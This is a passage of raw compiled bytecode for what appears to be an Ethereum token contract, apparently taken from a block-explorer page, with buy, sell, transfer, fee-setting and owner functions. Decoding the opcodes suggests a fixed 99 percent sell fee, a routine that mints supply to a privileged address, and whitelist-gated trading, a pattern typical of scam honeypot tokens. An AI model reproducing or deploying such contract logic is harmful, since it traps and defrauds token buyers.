ffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461176a906130e7565b80601f0160208091040260200160405190810160405280929190818152602001828054611796906130e7565b80156117e15780601f106117b8576101008083540402835291602001916117e1565b820191905f5260205f20905b8154815290600101906020018083116117c457829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff168061185e5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061188d5750600b5f9054906101000a900460ff1615801561188c5750600b60019054906101000a900460ff165b5b8061194e5750600b5f9054906101000a900460ff1680156118f45750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561194d575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806119b2575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156119b157505f600a54145b5b6119f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e890613258565b60405180910390fd5b5f3411611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a90613556565b60405180910390fd5b5f3490505f6009541115611ce1575f611a6a6064611a5c60095485612be590919063ffffffff16565b612c5c90919063ffffffff16565b90505f611a808284612cb390919063ffffffff16565b9050611af38160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bd39190612f61565b60405180910390a35f821115611cda57611c338260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cd19190612f61565b60405180910390a35b5050611e3b565b611d528160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e329190612f61565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611ea25750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611ed15750600b5f9054906101000a900460ff16158015611ed05750600b60019054906101000a900460ff165b5b80611f925750600b5f9054906101000a900460ff168015611f385750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611f91575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611ff6575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611ff557505f600a54145b5b612035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202c90613258565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561207e575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036120b5575f80fd5b6121058360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121968360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122349190612f61565b60405180910390a3600191505092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806122ee5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061231d5750600b5f9054906101000a900460ff1615801561231c5750600b60019054906101000a900460ff165b5b806123de5750600b5f9054906101000a900460ff1680156123845750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156123dd575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612442575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561244157505f600a54145b5b612481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247890613258565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612501576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f8906135be565b60405180910390fd5b600b60019054906101000a900460ff1615612901575f808390505f600a54118015612579575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156125cc5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612611576125f960646125eb600a5487612be590919063ffffffff16565b612c5c90919063ffffffff16565b915061260e8285612cb390919063ffffffff16565b90505b6126618460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506127138160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516127f39190612f61565b60405180910390a35f8211156128fa576128538260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128f19190612f61565b60405180910390a35b5050612aec565b6129518260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612a038260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ae39190612f61565b60405180910390a35b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612b27575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612bf5575f9050612c56565b5f8284612c029190613609565b9050828482612c119190613677565b14612c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c48906136f1565b60405180910390fd5b809150505b92915050565b5f808211612c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c96906136f1565b60405180910390fd5b8183612cab9190613677565b905092915050565b5f82821115612cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cee906136f1565b60405180910390fd5b8183612d03919061370f565b905092915050565b5f808284612d199190613742565b905083811015612d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d55906136f1565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d9f578082015181840152602081019050612d84565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612dc482612d68565b612dce8185612d72565b9350612dde818560208601612d82565b612de781612daa565b840191505092915050565b5f6020820190508181035f830152612e0a8184612dba565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e3f82612e16565b9050919050565b612e4f81612e35565b8114612e59575f80fd5b50565b5f81359050612e6a81612e46565b92915050565b5f819050919050565b612e8281612e70565b8114612e8c575f80fd5b50565b5f81359050612e9d81612e79565b92915050565b5f8060408385031215612eb957612eb8612e12565b5b5f612ec685828601612e5c565b9250506020612ed785828601612e8f565b9150509250929050565b5f8115159050919050565b612ef581612ee1565b82525050565b5f602082019050612f0e5f830184612eec565b92915050565b5f8060408385031215612f2a57612f29612e12565b5b5f612f3785828601612e8f565b9250506020612f4885828601612e8f565b9150509250929050565b612f5b81612e70565b82525050565b5f602082019050612f745f830184612f52565b92915050565b5f805f60608486031215612f9157612f90612e12565b5b5f612f9e86828701612e5c565b9350506020612faf86828701612e5c565b9250506040612fc086828701612e8f565b9150509250925092565b5f60ff82169050919050565b612fdf81612fca565b82525050565b5f602082019050612ff85f830184612fd6565b92915050565b5f6020828403121561301357613012612e12565b5b5f61302084828501612e5c565b91505092915050565b61303281612e35565b82525050565b5f60208201905061304b5f830184613029565b92915050565b5f806040838503121561306757613066612e12565b5b5f61307485828601612e5c565b925050602061308585828601612e5c565b9150509250929050565b5f602082840312156130a4576130a3612e12565b5b5f6130b184828501612e8f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806130fe57607f821691505b602082108103613111576131106130ba565b5b50919050565b7f5a65726f206665657320666f72657665720000000000000000000000000000005f82015250565b5f61314b601183612d72565b915061315682613117565b602082019050919050565b5f6020820190508181035f8301526131788161313f565b9050919050565b7f5a65726f000000000000000000000000000000000000000000000000000000005f82015250565b5f6131b3600483612d72565b91506131be8261317f565b602082019050919050565b5f6020820190508181035f8301526131e0816131a7565b9050919050565b5f6040820190506131fa5f830185612f52565b6132076020830184612f52565b9392505050565b7f5a65726f206665657320666f72657665722e00000000000000000000000000005f82015250565b5f613242601283612d72565b915061324d8261320e565b602082019050919050565b5f6020820190508181035f83015261326f81613236565b9050919050565b7f416d6f756e7420686967686572207a65726f00000000000000000000000000005f82015250565b5f6132aa601283612d72565b91506132b582613276565b602082019050919050565b5f6020820190508181035f8301526132d78161329e565b9050919050565b7f47726561746572207468616e207a65726f0000000000000000000000000000005f82015250565b5f613312601183612d72565b915061331d826132de565b602082019050919050565b5f6020820190508181035f83015261333f81613306565b9050919050565b7f486967686572207468616e205a65726f000000000000000000000000000000005f82015250565b5f61337a601083612d72565b915061338582613346565b602082019050919050565b5f6020820190508181035f8301526133a78161336e565b9050919050565b7f5a65726f20666f726576657200000000000000000000000000000000000000005f82015250565b5f6133e2600c83612d72565b91506133ed826133ae565b602082019050919050565b5f6020820190508181035f83015261340f816133d6565b9050919050565b7f4e6f20696e707574206e656564656400000000000000000000000000000000005f82015250565b5f61344a600f83612d72565b915061345582613416565b602082019050919050565b5f6020820190508181035f8301526134778161343e565b9050919050565b7f476f6e6520666f726576657200000000000000000000000000000000000000005f82015250565b5f6134b2600c83612d72565b91506134bd8261347e565b602082019050919050565b5f6020820190508181035f8301526134df816134a6565b9050919050565b7f4d757374206265206120686967686572206e756d626572207468616e207a65725f8201527f6f00000000000000000000000000000000000000000000000000000000000000602082015250565b5f613540602183612d72565b915061354b826134e6565b604082019050919050565b5f6020820190508181035f83015261356d81613534565b9050919050565b7f4e6f7420656e6f7567682066756e6473000000000000000000000000000000005f82015250565b5f6135a8601083612d72565b91506135b382613574565b602082019050919050565b5f6020820190508181035f8301526135d58161359c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61361382612e70565b915061361e83612e70565b925082820261362c81612e70565b91508282048414831517613643576136426135dc565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61368182612e70565b915061368c83612e70565b92508261369c5761369b61364a565b5b828204905092915050565b7f4e6f74206e6565646564000000000000000000000000000000000000000000005f82015250565b5f6136db600a83612d72565b91506136e6826136a7565b602082019050919050565b5f6020820190508181035f830152613708816136cf565b9050919050565b5f61371982612e70565b915061372483612e70565b925082820390508181111561373c5761373b6135dc565b5b92915050565b5f61374c82612e70565b915061375783612e70565b925082820190508082111561376f5761376e6135dc565b5b9291505056fea26469706673582212209d3880d874a5a93df53d38d49b757b27d3c7fa834ce1bd91debf1be257e294e164736f6c634300081500330000000000000000000000005e05ddb340c5c4d79d569ab6fdf88b60be564ffc000000000000000000000000af298d050e4395d69670b12b7f40ffffffffffff
Deployed Bytecode
0x60806040526004361061014a575f3560e01c806364bcf5f4116100b5578063a6f2ae3a1161006e578063a6f2ae3a14610460578063a9059cbb1461046a578063c31c9c07146104a6578063dd62ed3e146104d0578063e4849b321461050c578063f2fde38b146105345761014a565b806364bcf5f41461036657806370a0823114610390578063715018a6146103cc5780638da5cb5b146103e257806395d89b411461040c578063a64e4f8a146104365761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806344df8e70146102fc578063470624021461031257806347b5dd541461033c5761014a565b806306fdde031461014e578063095ea7b3146101785780630b78f9c0146101b457806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b5061016261055c565b60405161016f9190612df2565b60405180910390f35b348015610183575f80fd5b5061019e60048036038101906101999190612ea3565b6105e7565b6040516101ab9190612efb565b60405180910390f35b3480156101bf575f80fd5b506101da60048036038101906101d59190612f14565b6106d4565b005b3480156101e7575f80fd5b506101f0610828565b6040516101fd9190612f61565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f7a565b61082e565b6040516102399190612efb565b60405180910390f35b34801561024d575f80fd5b5061025661137a565b6040516102639190612efb565b60405180910390f35b348015610277575f80fd5b5061028061138c565b60405161028d9190612f61565b60405180910390f35b3480156102a1575f80fd5b506102aa611392565b6040516102b79190612fe5565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612ffe565b6113a4565b6040516102f39190612efb565b60405180910390f35b348015610307575f80fd5b506103106113c1565b005b34801561031d575f80fd5b50610326611647565b6040516103339190612f61565b60405180910390f35b348015610347575f80fd5b5061035061164d565b60405161035d9190612f61565b60405180910390f35b348015610371575f80fd5b5061037a611653565b6040516103879190612efb565b60405180910390f35b34801561039b575f80fd5b506103b660048036038101906103b19190612ffe565b611666565b6040516103c39190612f61565b60405180910390f35b3480156103d7575f80fd5b506103e061167b565b005b3480156103ed575f80fd5b506103f6611738565b6040516104039190613038565b60405180910390f35b348015610417575f80fd5b5061042061175d565b60405161042d9190612df2565b60405180910390f35b348015610441575f80fd5b5061044a6117e9565b6040516104579190612efb565b60405180910390f35b6104686117fc565b005b348015610475575f80fd5b50610490600480360381019061048b9190612ea3565b611e3f565b60405161049d9190612efb565b60405180910390f35b3480156104b1575f80fd5b506104ba612247565b6040516104c79190613038565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190613051565b61226c565b6040516105039190612f61565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d919061308f565b61228c565b005b34801561053f575f80fd5b5061055a60048036038101906105559190612ffe565b612af0565b005b5f8054610568906130e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610594906130e7565b80156105df5780601f106105b6576101008083540402835291602001916105df565b820191905f5260205f20905b8154815290600101906020018083116105c257829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c29190612f61565b60405180910390a36001905092915050565b600b5f9054906101000a900460ff1615610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071a90613161565b60405180910390fd5b5f8214610765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075c906131c9565b60405180910390fd5b606381146107a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079f906131c9565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161081c9291906131e7565b60405180910390a15050565b60025481565b5f83600b60029054906101000a900460ff16806108915750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806108c05750600b5f9054906101000a900460ff161580156108bf5750600b60019054906101000a900460ff165b5b806109815750600b5f9054906101000a900460ff1680156109275750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015610980575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806109e5575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156109e457505f600a54145b5b610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90613258565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9b906132c0565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690613328565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610bcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc490613390565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610bef57505f600a54115b8015610c48575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610c9b5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610ce057610cc86064610cba600a5488612be590919063ffffffff16565b612c5c90919063ffffffff16565b9150610cdd8286612cb390919063ffffffff16565b90505b610d308560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610dc18160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e5f9190612f61565b60405180910390a35f8211156110ae575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610fb557610f0a8360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fa89190612f61565b60405180910390a36110ac565b6110058360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110a39190612f61565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561118257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561136c576112128560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516113639190612f61565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b600b5f9054906101000a900460ff1661140f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611406906133f8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590613460565b60405180910390fd5b5f600854116114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d9906134c8565b60405180910390fd5b6114f9600854600254612d0b90919063ffffffff16565b60028190555061157260085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688560085460405161163d9190612f61565b60405180910390a2565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461176a906130e7565b80601f0160208091040260200160405190810160405280929190818152602001828054611796906130e7565b80156117e15780601f106117b8576101008083540402835291602001916117e1565b820191905f5260205f20905b8154815290600101906020018083116117c457829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff168061185e5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061188d5750600b5f9054906101000a900460ff1615801561188c5750600b60019054906101000a900460ff165b5b8061194e5750600b5f9054906101000a900460ff1680156118f45750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561194d575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806119b2575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156119b157505f600a54145b5b6119f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e890613258565b60405180910390fd5b5f3411611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a90613556565b60405180910390fd5b5f3490505f6009541115611ce1575f611a6a6064611a5c60095485612be590919063ffffffff16565b612c5c90919063ffffffff16565b90505f611a808284612cb390919063ffffffff16565b9050611af38160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bd39190612f61565b60405180910390a35f821115611cda57611c338260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f